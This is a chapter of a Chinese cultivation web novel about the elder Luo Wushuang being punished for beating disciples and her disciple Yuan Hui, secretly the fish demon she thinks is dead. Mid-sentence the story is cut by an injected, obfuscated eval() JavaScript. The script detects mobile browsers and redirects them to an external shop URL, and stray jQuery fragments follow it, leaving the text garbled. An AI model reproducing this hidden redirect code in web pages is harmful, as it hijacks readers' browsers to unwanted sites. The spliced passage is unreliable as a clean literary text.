三长老压了修为以一根柳条将五人抽得落花流水,然后将自己抽进了归戒峰大殿,跟一群狼狈的弟子跪在窦骁霄面前。
李润旻花冠凌乱唇边挂血,两只眼眶青到发黑。
名叫唐灼的弟子袍子被抽成碎布条,捂前露腚,约莫是担心有伤风化,柳条给他留了一条亵裤。
只不过不知要划烂元洄脸的是哪位好汉,于是洛无双往其余三个弟子脸上各抽了一把血红的大叉。
归戒峰大弟子将李润旻几人和元洄鹿梨的恩怨追查出来奉在案前,窦骁霄方脸虎目阴沉得能滴水,紫电鞭滋滋冒着电光,噼里啪啦往五个弟子背上抽。
窦骁霄抽完,冷冷横几人一眼:“入追雪峰山脚无念洞,禁闭三个月,若敢再犯,逐出归戒峰。”
大弟子亲自将人带出去,洛无双眉心一跳,讪笑:“元洄和鹿梨还伤着,既然此事已了,我带他们回去了。”
她领人朝小小长老一拜,爬起来刚转身,窦骁霄阴恻恻道:“他们走,你给我站住。”
洛无双没听见,抬腿就溜。
一抹电光在她脚下炸开,烧焦了那张青山云纹的地毯。
洛无双:“……”
她温婉一笑,对两个乖徒道:“为师想起还有要事需与二长老商谈,你们先回浮云峰,不必等我了。”
她释然得近乎悲壮,鹿梨急道:“二长老,师尊是为了我们才——”
窦骁霄拎着鞭子:“不走便跪下。”
鹿梨心痛神情一收,若无其事道:“师兄,你肯定很疼,我们快回去上药。”
元洄:“……”
洛无双:“……”
两人步出大殿。
洛无双目送他们走远,淡定回身噗通一跪,揪着窦骁霄的袍角:“师叔,您也看见了,此番不是我无理取闹,根本是他们咎由自取!李润旻空有天赋却心术不正,将来难成大器!”
窦骁霄冷笑:“在我归戒峰,大庭广众,与一群小辈动武,三长老觉得这算成大器么?”
洛无双一哽,嘴硬道:“五打一,我压了修为,甚至没用剑……”
“不思悔改,”窦骁霄瞪她一眼:“伸手!”
洛无双梗着脖子与他对视。
良久,颤颤巍巍蜷出小爪,终于求饶:“师叔,我知错了!”
窦骁霄补充:“知错,但不知悔改。”
紫电鞭落下来,还没抽中皮肉,洛无双闭眼鬼哭狼嚎:“好痛呜呜呜师叔!痛死我了!”
窦骁霄:“……”
-
洛无双虚弱地踏出大殿。
正午的天光太亮,洛无双不适地眯了眯眼,眸子一转,看见殿门外站的三个人。
两个乖徒看她的目光十分之复杂。
涂颜无奈一叹,走来捏着她的腕骨:“此事又非没有双全法,何必逞一时意气。”
他抖开她手心洒药粉,洛无双脑子全是空白——她分明看见两个徒弟走远,这才放心在里头一阵鬼叫。
他们怎么还在这!!!
洛无双耳尖发烫,整个人都发麻。
她这会儿不想看见那两双震惊的眼睛,遂盯着手心,端着架子哼唧道:“敢在浮云峰下动我的弟子,真当我是死的?这口气我咽不下去。”
“你倒是威风,”涂颜捏住她手掌往中间一对,两道鞭伤挤压,洛无双疼得嘶嘶抽气。
涂颜得逞一笑,松了她的手:“师叔今日若不抽你,往后比试规则该被人堂而皇之钻空子了。”
“知道,来就想到了。”洛无双哆嗦着手腕瞪他,又奇怪道:“你怎么来了?”
涂颜道:“下山碰见他们去无念洞,随口问了一句。你当我真闲呢,这不是怕你气着师叔么?”
洛无双斜他一眼,满脸写着“你看我信你的鬼话么”。
涂颜失笑,见她卷袖带人要走,拉住她的手腕将人拽停:“从此处走出去,不然白被抽了。”
洛无双瞄一眼烈日,满心不愿意,偏偏他说得在理。
涂颜走在身边,洛无双回头看弟子,见两人乖乖朝她笑,心里那点师尊形象崩塌的哀痛登时不见踪影。
涂颜道:“故迦说你下山了?”
“她怎么知道?”洛无双扭头问:“她来找过我?”
鹿梨点头:“三四天前吧,来找师尊辞行。”
洛无双意外:“去哪了?”
“没说。”涂颜道:“此番她在太墟待了近四月,约莫又上合欢宗了。”
洛无双:“……她是真自在。”
涂颜又道:“你下山做什么?”
她除了吃和睡难有大志,突然下山确实很令人惊奇。
忆及此事,洛无双又发愁。
不过她羞于启齿,又找不到好借口,便模糊道:“闲来胡思乱想,总觉得三年前那事蹊跷,便下山转转,也算散心。”
-
月上中天,闲庭居。
洛无双在山下累得筋骨发僵,命小青提了热水后在浴房里泡了半个时辰,这会儿抱着棉花倚在榻上,指尖水色鳞片晶亮,惹得棉花龇牙探爪嗷呜地抢。
“干什么?”洛无双拍它脑瓜,“不许闹。”
白云兽乃天地精灵,对妖物敏感,嗷嗷闹腾间蹭到她被抽裂的手。
洛无双嘶了口气,反手抽它的屁股,棉花圆脸一扁,这才老实下来。
洛无双抽完又心软,撸得棉花眯眼翻肚皮。
夜深人静,棉花打小呼,洛无双凝着鱼鳞,又开始出神。
寻到鱼鳞后,她搜山三日,却丝毫不见那条鱼的踪迹。
洞中那批尸骨袍子质地纹饰一致,这些人隐瞒身份进入深山,极有可能是冲那条鱼妖而来。
他们捉妖而死,说明鱼妖修为有所恢复——当年她无奈离开,留下的药都出自檀书之手。
她不能确定厮缠间是否对他造成伤害,但看样子,他大概率吞服了她留下的丹药。
檀书炼制的丹药,生死人难说,肉白骨未尝不可。
只是恢复又如何?
宗派除妖,若能舍命而为,只怕是势在必得。
洞中人不论是不是第一批的全部,那条鱼极可能逃不过围剿。
素未谋面,萍水相逢。
然后他……死了。
露水情缘无私情,但彼时她若能自顾,回头找他,兴许能助他逃过一劫,也算是全了因果,不至于成为心结。
鱼鳞划破手指。
洛无双闭眼,叹了声气。
元洄推开那扇未阖紧的门,看见的便是这一幕:鲜红血珠在锋利的鳞片边缘滚落,她蜷身抱着那只雪白的畜牲。
情绪汹涌难收,杀意挣出墨蓝色瞳孔,布条下无名指无意识抽动。
他死死盯着那片沾血的鱼鳞。
五日,她下山五日。
回来后又闭门不出。
她不可能是在乌月崖捡到他遗落的鳞片。
不可能是。
眼尾发烫发痒,元洄猛地闭眼。
洛无双皱眉警惕回头,便见他脸色苍白地扶着门,握着白瓷的手绷得筋骨分明。
她一怔,“元洄?”
他低闷地应了一声,“师尊。”
“你怎么了?”
“无事,”元洄缓过劲来,“今日被李润旻踢到头,方才突然头晕。”
洛无双一口气没松下去又提起来,拧眉道:“怎么不早说,我也能给你……”踢回去。
这话说出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611330|204635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来好像哪里不太对劲。
洛无双咳道:“怎么过来了?”
果然不是。
元洄弯了下唇角,晃晃拿药瓶的手,“去知晓峰拿金疮药,想给师尊送来,您上药了吗?”
“上了,”洛无双披着一头微潮青丝,冲窗边架子抬下巴,“放那吧。”
元洄停在她面前,眸光从鱼鳞扫过,滑到那只裂开发肿的手心:“还在出血?”
洛无双道:“棉花碰到的吧。”
元洄袖子里抖出一条洁白长绸,往她跟前一蹲,“再上回药,我替师尊包扎,行吗?”
此前也不是没有过,洛无双都能猜知她拒绝后他的说辞,便没客气:“药我自己来,你替我包一下。”
她搂着棉花有所不便,元洄将那小畜生捞出来揣腿上。
棉花被他一抱猛然惊醒,蹬着小腿嗷嗷踹他。
洛无双往手上倒药粉,见状纳闷道:“平日睡着跟小猪似的,怎么今日如此机灵?”
元洄扒拉开它的后爪,一脸无辜淡淡道:“大约是只见色起意的小东西,故而只喜欢粘着师尊,不喜我碰罢了。”
被迫袒胸的棉花:“……?”
洛无双牙疼:“……元洄你干什么!棉花是女孩子!”
“唔,”元洄看也没看将它翻回去,胡乱给小畜生顺毛,“对不住,冒犯你了。”
棉花:“……”
棉花四只小爪往腹里收,一副战战兢兢如临深渊的小样,委屈巴巴看着她,洛无双噗嗤乐出声。
元洄守着,她上药没太敷衍,不过动作也很快。
她上完便将药瓶搁置,一只手将棉花拎回来,又将那只受伤的摊出去,“有劳你了。这条白绸是你的?”
元洄将布绕在她手心:“新的。师尊还要,我再拿几条来。”
“不必了。”
他的手指修直,温润似玉,淡青色脉络漂亮,但左手总裹在布里。
眼下时机撞上,洛无双便问:“你的手为何……”
“沸水烫伤。”元洄漫不经心道:“幼时无知,打翻了沸水。烫伤后疤痕不好看,也怕吓人,一直都以布缠住。”
“很疼吧。”洛无双眉眼软化,慈爱道:“檀书能调去疤膏,等我去拿来给你,也许能去了。”
元洄仰脸,凤眸轻弯,很乖的笑意:“多谢师尊,不过也不妨事,这么多年都过来了,摘了反倒不习惯。”
他生得漂亮都被李润旻等人辱骂为小白脸,世人对美宽容尚且如此,遑论一只烫伤丑陋的手。
美玉有瑕也是憾事,不论什么层面,她得尽她做师尊该尽之力,能给的不会少。
她没再多说,有一搭没一搭安抚白云兽,手指不时陷入暖白的毛发里。
元洄盯着她的手,“师尊,手指不处理吗?”
洛无双随口道:“擦破皮而已,马上愈合了,不必管。”
元洄笑了笑,望向榻上小几只有两根银线为骨而近端收束呈苍灰色的鳞片,小心试探:“方才见您把玩,似乎是这东西伤了师尊,这是何物?”
“漂亮吧,一片鱼鳞。”
元洄怔了怔:“离体不朽还能割伤手指的……鱼鳞?师尊此番下山,是为了寻这片鳞?”
“是也不是。”此事不可言说,洛无双实在憋闷,左右是自己弟子,又对三年前她重伤的事一无所知,便忍不住叹道:“该寻之人寻不到了。”
“为何……寻不到了?”
洛无双忧愁闭眼,长叹道:“故人故去,自然不可寻。”
三年又七个月。
相见不识。
一句故人故去。
他怎么不知道他死了。
元洄讥讽悲痛:“师尊节哀。”